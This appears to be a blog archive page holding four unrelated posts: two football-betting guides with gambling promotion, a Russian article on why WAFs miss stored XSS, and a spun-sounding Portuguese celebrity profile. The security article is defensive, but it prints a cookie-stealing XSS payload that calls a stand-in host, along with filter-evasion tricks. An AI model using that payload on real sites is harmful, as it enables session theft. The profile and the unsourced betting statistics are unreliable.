Category Archives: Blog

O resultado exato ao intervalo e um dos mercados mais subestimados por quem esta a comecar nas apostas em futebol. Muita gente olha para ele como uma lotaria, mas na verdade existe um padrao estatistico que se repete semana apos semana: equipas com um bloco defensivo bem organizado, como o Getafe, raramente marcam nos primeiros 30 minutos. Quando percebes essa ligacao entre estilo de jogo e golos ao intervalo, o 0-0 deixa de ser um palpite cego e passa a ser uma leitura racional, sobretudo quando as odds sobem acima de 2.50. O que significa apostar no resultado exato ao intervalo Ao contrario do mercado de resultado final, o resultado exato ao intervalo so conta o que acontece nos primeiros 45 minutos mais os descontos. Nao importa se a equipa vira o jogo na segunda parte, se ha um golo aos 90+4 ou se o jogo acaba 3-2. Se o marcador estava 0-0 ao intervalo, o teu bilhete de 0-0 ganha. E por isso que este mercado e independente da forma como o jogo termina, o que o torna util para quem quer separar a analise de confrontos da analise de resistencia fisica. Existe uma diferenca mecanica importante face ao mercado 1X2 tradicional. No 1X2 estas a apostar no vencedor final, e o empate ao intervalo nao te serve de nada se a equipa marcar na segunda parte. No resultado exato ao intervalo, o empate 0-0, o 1-0, o 0-1 e o 1-1 sao resultados completos e pagos. Isso significa que o leque de opcoes uteis e mais estreito e as odds tendem a ser mais altas nas combinacoes menos provaveis, mas tambem mais estaveis no 0-0 quando o jogo e fechado. Quem esta a comecar deve entender que este mercado nao vive de “palpites de futebol” vagos. Vive de dados concretos: media de golos na primeira meia hora, frequencia de golos antes do intervalo, estilo de pressao, forma como as equipas gerem o risco. Um tipster que trabalha este mercado olha primeiro para a estatistica de golos aos 15, 30 e 45 minutos, e so depois para a odd oferecida. Como as odds 1X2 se relacionam com o intervalo As odds 1X2 de um jogo dao-te a primeira pista sobre o que esperar ao intervalo. Quando um favorito tem odd muito baixa (por exemplo 1.40), o mercado espera dominio, mas nao necessariamente golos cedo. Ha equipas que dominam e so marcam depois dos 60 minutos, e nesses casos o 0-0 ao intervalo paga bem acima do que a odd final sugere. O contrario tambem acontece: jogos equilibrados com odds 1X2 proximas (2.60, 3.20, 2.80) muitas vezes produzem golos cedo porque ambas as equipas arriscam desde o apito inicial. As casas de apostas ajustam o mercado de intervalo com base no volume e na probabilidade implicita do 1X2, mas nem sempre com precisao. E aqui que aparece a margem para quem faz analise de confrontos a serio. O comparador de odds ajuda a encontrar a melhor cotacao para o mesmo resultado exato, e essa diferenca de 0.15 ou 0.20 numa odd de 2.60 ja altera o valor esperado da aposta. Estilo de jogo: a variavel que separa o valor do palpite aleatorio O insight central deste mercado e simples: o resultado ao intervalo tem correlacao forte com o estilo de jogo, nao com a qualidade individual. Uma equipa como o Getafe, que historicamente marca poucos golos nos primeiros 30 minutos e constroi os jogos a partir de um bloco medio-baixo, transforma o 0-0 ao intervalo numa aposta de valor sempre que as odds ultrapassam 2.50. Nao porque o Getafe seja fraco, mas porque o seu modelo de jogo gera poucos golos na primeira parte. O mesmo raciocinio aplica-se a outros contextos. Equipas que jogam com dois medios defensivos e laterais que sobem pouco tendem a fechar a primeira parte sem golos. Equipas que pressionam alto desde o primeiro minuto tendem a abrir o marcador cedo, o que torna o 0-0 ao intervalo uma aposta fraca mesmo com odds altas. O erro comum do principiante e olhar apenas para a tabela classificativa e ignorar o perfil de golos por periodo. Para transformar isto em metodo, precisas de tres dados por equipa: media de golos marcados nos primeiros 30 minutos, media de golos sofridos nos primeiros 30 minutos e percentagem de jogos em que chegou ao intervalo a vencer, empatar ou perder. melhores casas de apostas futebol offers additional context worth reviewing. Com estes tres numeros, consegues estimar a probabilidade real do 0-0 e comparar com a odd oferecida. Ler o calendario e o centro de jogos antes de apostar Antes de escolher qualquer resultado exato ao intervalo, vale a pena passar pelo centro de jogos, que mostra o calendario e os resultados das ligas em destaque. Numa semana europeia tipica, a Liga Europa da UEFA e a Liga Conferencia da UEFA incluem 18 jogos cada no centro de jogos, o que da material suficiente para cruzar estatisticas. Confrontos como Benfica contra Celtic na Liga Europa da UEFA, ou Lyon contra Crystal Palace na mesma competicao, tem perfis de golos muito diferentes e exigem leituras distintas. Equipas como AC Milan, Bayer Leverkusen, SC Braga, FC Copenhagen, Ajax, Panathinaikos e Monaco aparecem frequentemente nestas competicoes com estilos reconheciveis. O Ajax tende a ter primeira parte com posse alta e golos cedo. O FC Copenhagen e o SC Braga alternam entre jogos fechados e jogos abertos, o que obriga a olhar para o adversario antes de decidir. O Panathinaikos, em noites europeias fora de casa, costuma fechar-se e produzir primeiras partes sem golos. Como construir um bilhete de resultado exato ao intervalo O primeiro passo e escolher o resultado que queres cobrir. Para iniciantes, o 0-0 ao intervalo e o mais previsivel porque depende sobretudo de uma variavel: a capacidade das duas equipas de marcar cedo. Os outros resultados exatos (1-0, 0-1, 1-1) exigem mais leitura sobre quem marca primeiro, o que aumenta a complexidade sem aumentar necessariamente o valor. O segundo passoContinue reading “Resultado exato ao intervalo: guia para iniciantes”

Прогнозы на футбол чаще всего строят на голах, ударах и владении мячом. Потери в центре поля обычно воспринимают как шум: ну потеряли мяч на чужой половине, ну вернули его через пять секунд. Проблема в том, что именно эта зона дает сопернику самые дешевые атаки, и статистика здесь говорит громче любых впечатлений от обзора матча. Разберем, как считают потери, почему тридцать процентов голов в топ-чемпионатах начинаются с обреза в центральном круге и при чем тут Аталанта. Команда Гасперини теряет мяч в середине поля больше большинства соперников по Серии А, но при этом создает примерно на 0.5 xG за игру больше, чем допускает. Это не парадокс и не везение. Это модель, где риск заложен в конструкцию, а цена ошибки просчитана заранее. Для ставок на футбол такой разбор полезнее рейтинга букмекеров. Линия ставок реагирует на счета и таблицу, а не на структуру потерь. Если понять, где команда теряет мяч и кто его подбирает, букмекерские коэффициенты начинают выглядеть иначе: где-то в них заложен страх перед обрезом, а где-то его не учли вовсе. Ниже разложим механику по зонам, цифрам и конкретным матчам. Статистика потерь в центре поля: где и как теряют мяч Центр поля – это не просто зона, где команды борются за инициативу. Это место, где чаще всего рождаются и умирают атаки. Когда мы говорим о потерях мяча в центре, речь идет о технических ошибках, перехватах, неудачных передачах и проигранных единоборствах в зоне между штрафными. По данным футбольной статистики, команды топ-5 лиг Европы совершают в среднем от 45 до 60 потерь за матч в центральной трети поля. Это не аномалия, а норма. Вопрос в том, как эти потери конвертируются в моменты у соперника и что команда делает, чтобы компенсировать риск. Разберем зоны. Центр поля условно делится на три коридора: левый полуфланг, центральный канал и правый полуфланг. Больше всего потерь происходит именно в центральном канале – от 40 до 50 процентов от общего числа. Причина проста: здесь плотность игроков максимальна, а время на принятие решения минимально. Полуфланги дают чуть больше свободы, но и там потери случаются регулярно, особенно при попытках обострить игру через вертикальные передачи. Ставки на футбол часто недооценивают, насколько сильно эти цифры влияют на исход матча. Теперь о причинах. Первая и главная – рискованные передачи вперед. Команды, которые строят игру через короткий пас, теряют мяч чаще, но и создают больше моментов. Вторая причина – индивидуальные ошибки при дриблинге. Третья – проигранные единоборства в опорной зоне. Если опорный полузащитник уступает в борьбе, соперник получает мяч в самом опасном месте. По данным аналитики футбола, около 30 процентов голов в топ-лигах возникают после потерь в центре поля. Это не случайность, а закономерность, которую букмекерские коэффициенты не всегда учитывают. Сравним ведущие команды. Аталанта при Джан Пьеро Гасперини стабильно входит в число лидеров по потерям в центре поля – в среднем 58-62 потери за матч. Для сравнения: Манчестер Сити теряет 42-46 раз, Ливерпуль – 48-52, Бавария – 44-48. На первый взгляд, Аталанта выглядит уязвимой. Но давайте посмотрим на владение. У Аталанты оно не доминирующее – 52-55 процентов в среднем. Команда не стремится контролировать мяч ради контроля. Она стремится быстро доставлять его в финальную треть. Потери – это цена за вертикальный футбол. Влияние на владение здесь ключевое. Команды с высоким процентом владения (60+) теряют мяч реже, но их потери более опасны, потому что вся структура команды смещена вперед. Команды с владением 50-55 процентов, как Аталанта, теряют чаще, но их потери происходят в менее уязвимых зонах. Опорная зона у них компактна, а защитники готовы к быстрым переходам. Именно поэтому высокий процент потерь не всегда означает слабость. Иногда это осознанный риск, который окупается. Что это значит для прогнозов на футбол? Если вы смотрите только на статистику потерь, вы упускаете контекст. Нужно смотреть на xG, созданный после потерь, и на то, как команда реагирует на потерю. Аталанта, например, после потери мяча в центре не откатывается назад, а сразу вступает в прессинг. Это создает хаос для соперника и часто приводит к быстрому возврату мяча. ForecastBet публикует прогнозы на футбол, где такие нюансы учитываются. Матч-центр содержит счета, календарь и коэффициенты 1X2, что позволяет быстро оценить, как букмекеры реагируют на стиль конкретной команды. Еще один важный момент – расписание футбольных матчей. Усталость после еврокубков увеличивает количество потерь в центре поля на 10-15 процентов. Команды, играющие в Лиге Европы УЕФА или Лиге конференций УЕФА, часто теряют концентрацию в середине второго тайма. ForecastBet освещает Лигу Европы УЕФА и Лигу конференций УЕФА, поэтому в прогнозах на завтра эти факторы уже заложены. Советы по ставкам на основе анализа потерь и xG помогают находить value там, где линия ставок еще не обновилась. Сайт содержит 75 опубликованных прогнозов, и каждый из них строится на цифрах, а не на интуиции. Итог прост: потери в центре поля – это не всегда плохо. Это индикатор стиля. Если команда теряет много, но создает больше xG, чем ее соперник, риск оправдан. Если теряет много и не создает ничего – это проблема. Задача аналитика – различить одно от другого. ForecastBet предлагает матч-центр и включает букмекеров для ставок на футбол, чтобы вы могли проверить эти гипотезы на реальных коэффициентах. Бонусы за регистрацию и рейтинг букмекеров помогут начать с минимальными рисками. Главное – не смотреть на потери в вакууме. Смотрите на зоны, на причины, на xG после потерь и на стиль команды в целом. Как потери в центре поля превращаются в голы соперника Цифра, которая гуляет по аналитическим отчетам: около 30% голов в топ-5 европейских лигах приходит после потери мяча в центральной трети поля. Звучит как приговор любой команде, которая любит рисковать в середине. Но давайте разберем, откуда берется эта треть и что она на самом деле описывает. Методология подсчета обычно такая: фиксируется потеря владения в зоне между штрафными (условно 40 метров от своих ворот до центральной линии плюс 25 метров в обе стороны от нее), затем отслеживается, привела ли эта конкретная последовательность событий к удару и голу в течение следующих 10-15 секунд. Именно временное окно определяет результат. Если считать до первого паса соперника вперед, получите 45-50%. Если до гола без ограничения по времени, доля раздуется до 60%, потому что любая атака когда-то начиналась с отбора. Корректный интервал 10-15 секунд дает те самые 28-32% в зависимости от сезонаContinue reading “Потери в центре поля: как Аталанта превращает риск в xG”

WAF не видит хранимый XSS. Это не баг конкретного продукта, а математика архитектуры: фильтр стоит на входе, а полезная нагрузка уже лежит в базе и отдаётся страницей как обычный контент. Если вы ищете российский аналог Cloudflare только ради строчки “защита от XSS” в тарифной сетке, вы покупаете иллюзию. Разберём, где именно проходит граница возможностей WAF, почему SQL-инъекции ловятся лучше, чем принято думать, и что делать с атаками, которые фильтр физически не может увидеть. Механика проста. WAF инспектирует HTTP-запрос в момент его поступления: заголовки, тело POST, параметры строки запроса, cookies. Всё, что приходит извне, проходит через набор сигнатур и эвристик, и при совпадении запрос блокируется. Проблема в том, что хранимая XSS приходит извне один раз, а срабатывает потом, при каждом просмотре страницы, где этот контент выводится. В момент отдачи страницы запрос абсолютно легитимен: пользователь открывает статью, браузер получает HTML с уже вшитым в тело поста скриптом. WAF видит нормальный GET, нормальный ответ 200, нормальный трафик. Никаких признаков атаки, потому что с точки зрения протокола её нет. Скрипт стал частью вашего контента. Отсюда практический вывод, который стоит принять до того, как вы начнёте сравнивать решения. WAF это слой фильтрации трафика, а не анализатор целостности данных. Он закрывает целые классы атак: всплески L7 DDoS, автоматизированный перебор, сканеры уязвимостей, попытки эксплуатации известных CVE, инъекции в момент запроса. Он не закрывает то, что уже сохранено в вашей базе, и не должен. Ожидать от него этого – значит планировать защиту с дырой в центре. Дальше разберём по частям: как хранимые XSS обходят фильтр, что реально работает против SQL-инъекций, почему безопасное кодирование нельзя заменить продуктом, и как выстроить эшелон, где WAF занимает своё место, а не чужое. Миф о всемогуществе WAF: почему фильтрация трафика не гарантирует защиту от XSS WAF стоит на входе и проверяет то, что приходит от клиента: параметры запроса, заголовки, тело POST. Если в поле комментария прилетит <script>alert(1)</script>, сигнатура сработает, запрос заблокируется, в логе появится инцидент. Именно эту картинку обычно и продают: “поставили WAF, XSS закрыт”. Проблема в том, что XSS бывает двух принципиально разных типов, и WAF видит только один из них. Отражённый XSS действительно ловится неплохо. Атака приходит в запросе, WAF читает полезную нагрузку до того, как она попадёт в приложение, и режет её по сигнатурам или эвристике. Здесь фильтрация трафика работает как задумано, потому что вредоносный код и входящий запрос это один и тот же объект. С хранимым XSS всё иначе. Атакующий отправляет безобидный на вид текст, который проходит все фильтры, приложение сохраняет его в базу, а скрипт активируется позже, когда другой пользователь открывает страницу и сервер отдаёт ему уже готовый HTML. На этом этапе WAF нечего анализировать: он видит исходящий ответ, сформированный самим приложением, а не подозрительный входящий запрос. Полезная нагрузка приходит из доверенного источника, из вашей собственной базы данных. Почему входящий фильтр не видит то, что уже лежит в базе Разберём по шагам, где именно теряется контроль. Пользователь публикует комментарий с payload. WAF проверяет запрос: если сигнатура знает конкретный вектор, блокировка сработает. Но векторов тысячи, а обфускация позволяет обойти большинство шаблонов: HTML-сущности, разбивка тега через пробелы и переносы, регистр, экзотические обработчики событий вроде onpointerover, нестандартные протоколы в атрибуте href. Достаточно одного варианта, которого нет в базе сигнатур, и payload уходит в хранилище. Дальше происходит ключевое. Строка лежит в таблице комментариев. Через день, через месяц, при следующей выборке приложение вставляет её в шаблон и отдаёт браузеру. WAF на исходящем трафике по умолчанию ничего не проверяет: он не знает структуру вашей БД, не отличает легитимный контент от отравленного и не может позволить себе модифицировать HTML на лету без риска сломать вёрстку. Даже если включить инспекцию ответов, придётся разбирать каждый ответ, а это кратный рост задержки и нагрузки, плюс высокий риск ложных срабатываний на обычном пользовательском тексте. Отсюда типичная и очень неприятная ситуация: сканер уязвимостей находит хранимый XSS в форме комментариев, хотя WAF включён, настроен и исправно логирует атаки. Защита не сломалась, она просто слепа к этому классу угроз по своей архитектуре. WAF работает с потоком запросов, а хранимая атака реализуется через состояние приложения: то, что было записано раньше и прочитано позже. Между записью и срабатыванием может пройти сколько угодно времени, и никакой фильтр трафика эту связь не отследит. Практический вывод простой: если вы оцениваете защиту только по наличию WAF и по числу заблокированных запросов в отчёте, вы измеряете не защищённость, а активность фильтра. Хранимый XSS в эти цифры не попадёт вообще, потому что для WAF он выглядит как обычная отдача страницы обычному пользователю. Закрывать эту дыру приходится не на периметре, а внутри приложения: экранированием вывода в правильном контексте, Content Security Policy и валидацией пользовательского контента на входе и на выходе. Это не аргумент против WAF. Это аргумент против того, чтобы считать его единственным слоем. Фильтрация трафика снимает значительную часть автоматизированного шума и отражённых атак, но она по определению не работает с данными, которые уже прошли через валидацию и лежат в базе. Хранимые атаки это зона ответственности кода, а не периметра, и путать эти зоны значит оставлять дверь открытой при работающей сигнализации. Хранимые XSS в теле постов и комментариев: слепая зона WAF Хранимая XSS работает иначе, чем отражённая, и именно поэтому WAF против неё почти бесполезен. Представьте форму комментария на новостном портале. Злоумышленник отправляет не <script>alert(1)</script> в лоб, а конструкцию вида <img src=x onerror=”fetch(‘//evil.tld/c?d=’+document.cookie)”>. WAF, стоящий перед приложением, видит POST-запрос с полем comment, внутри которого обычный HTML. Если фильтр настроен агрессивно, он отсечёт тег img с onerror. Если настроен мягко (а иначе он будет рубить легитимные вставки кода, эмодзи и цитаты), запрос пройдёт. Дальше начинается самое интересное: приложение сохраняет этот текст в таблицу comments, и он становится частью нормального контента. Почему при отдаче страницы WAF молчит Когда следующий посетитель открывает статью, сервер собирает HTML из шаблона и строки, вычитанной из базы. Для WAF это исходящий ответ приложения, а не входящий запрос пользователя. Большинство конфигураций WAF по умолчанию инспектируют request, а не response, потому что инспекция ответов дороже по CPU и чаще даёт ложные срабатывания. Скрипт уже лежит в теле страницы как «легитимный» фрагмент разметки, и сигнатура вида onerror= в ответе либо не проверяется, либо помечается как часть шаблона сайта. Итог: атака исполнилась в браузере жертвы, а WAF не зафиксировал ни одногоContinue reading “WAF и XSS: где защита слепа и что делать с хранимыми атаками”

Manuel Luís Goucha do Rádio à TVI Manuel Luís Nunes Sousa Goucha tornou-se uma referência da comunicação social. Com uma carreira de décadas, ganhou um público vastíssimo. Nas próximas linhas apresentamos os pontos essenciais da sua história. Antes de mais, o fascínio dos telespectadores liga-se tanto com a carreira televisiva como com os bastidores, que Goucha foi abrindo aos poucos. Ao longo do texto exploramos as diversas dimensões do seu percurso, da idade às origens. Uma visão fiel de um ícone da nossa televisão. A Relação com o Marido de Longa Data Quanto ao coração, Manuel Luís Goucha construiu uma relação sólida com o companheiro de sempre. Os dois encontraram-se há mais de duas décadas, e partilham a vida há muitos anos. Sem nunca ocultar o companheiro, o apresentador refere-se abertamente da cumplicidade do casal. Essa postura constitui motivo de respeito para a sociedade. Ao longo da relação, ambos construiu inúmeras memórias. A privacidade de outrora abriu caminho a uma maior partilha, sempre com elegância. Os Programas de TV Apresentados por Goucha A carreira televisiva da estrela da TVI conta inúmeros formatos. Teve início na televisão pública, com o programa Praça da Alegria, antes de rumar à TVI. Ao longo do percurso, apresentou dezenas de programas. Dos formatos mais recordados sobressaem: As manhãs da RTP, durante vários anos. Conteúdos culinários, fiéis à sua formação. Talk shows, em horário nobre. O seu formato atual, nas tardes do canal. Para melhor perceber o percurso, os momentos-chave do percurso podem resumir-se assim: O arranque da carreira, nos anos setenta e oitenta. A consagração matinal, de grande audiência. A aposta na culinária, de enorme êxito. O ingresso na TVI, de grande impacto. As tardes do canal, de referência. Os Filhos e a Família Em matéria de filhos, Manuel Luís Goucha falou com franqueza sobre essa questão. Em várias ocasiões justificou as razões dessa opção. Ocasionalmente apareceram especulações sobre uma suposta paternidade, que carecem de fundamento. Como sempre, a prudência é essencial. A opção de não ter filhos não condiciona a plenitude do seu percurso. Muito pelo contrário, o próprio tem falado equilíbrio ao lado do marido. Idade do Apresentador O comunicador nasceu Lisboa, a 25 de dezembro de 1954. Ou seja que conta hoje uma idade que não trai a vitalidade. Curiosamente, nasceu num dia festivo. Apesar da idade, guarda um entusiasmo intacto diante das câmaras. Essa longevidade constitui motivo de admiração. Muitos telespectadores espantam-se ao conhecer os seus anos, tão viva é a presença que demonstra em cada emissão. TVI Hoje com Manuel Luís Goucha Neste momento, na sua casa televisiva o apresentador lidera um formato de entretenimento. Dia após dia, entrevista convidados que geram conversa. O talk show confirma o saber de décadas do anfitrião. A estação continua a apostar neste rosto incontornável. A empatia com quem o vê conserva-se forte apesar do tempo. É esse carinho que explica o seu lugar na televisão. Jovem do Apresentador Nos tempos de juventude, Manuel Luís Goucha conheceu dificuldades antes do sucesso. Formado como pasteleiro, logo demonstrou uma paixão pela televisão. Essa fase de juventude forjaram a forma de encarar a vida. A força de vontade que demonstrou então está na base de a ascensão. Dos bastidores ao estrelato, o percurso exigiu esforço. Essa bagagem enriqueceu o seu estilo, afirmando-o como um apresentador único. O Irmão na Infância A fase inicial da vida de Manuel Luís Goucha associa-se ao ambiente familiar. Junto do irmão, experimentou episódios o seu crescimento. A progenitora, lembrada por ser forte e determinada, assumiu um papel decisivo na sua formação. Embora Goucha proteja a família, a infância surgem nos seus relatos. Essas memórias iluminam o homem por trás da figura pública. Ganha o Apresentador Um dos assuntos que mais circula relaciona-se com o salário a estrela da TVI. Compreensivelmente, os números variam consoante as fontes. Admite-se que, dada a sua longevidade, esteja entre os nomes de maior peso da televisão portuguesa. Ainda assim, trata-se de estimativas. Qualquer que seja o número, o facto é que o seu peso na estação traduz a fidelidade do público. Poucos rostos mantêm tal reconhecimento. Fortuna de Manuel Luís Goucha O património do apresentador é matéria de especulação. Um percurso de sucesso sugerem estabilidade financeira, conquanto as cifras permaneçam desconhecidos. Para lá das cifras, o verdadeiro legado da estrela da TVI assenta na sua carreira. Poucos artistas edificaram uma ligação tão duradoura com a sociedade. Afinal, a sua grandeza percebe-se mais no afeto do público do que em cifras. Quanto a isso, está no topo. Para quem quer saber mais, o mais sensato passa por evitar boatos. Especula-se que o salário de Manuel Luís Goucha está entre os mais altos da televisão em Portugal, sem confirmação oficial com o devido distanciamento. Em Resumo sobre a Sua Vida e Carreira Para concluir, a estrela da TVI é um verdadeiro ícone da televisão portuguesa. Da Praça da Alegria ao estrelato, desenhou uma carreira notável. A sua vida pessoal, sem receios, só reforça a sua imagem. Sobressai a marca de um dos grandes.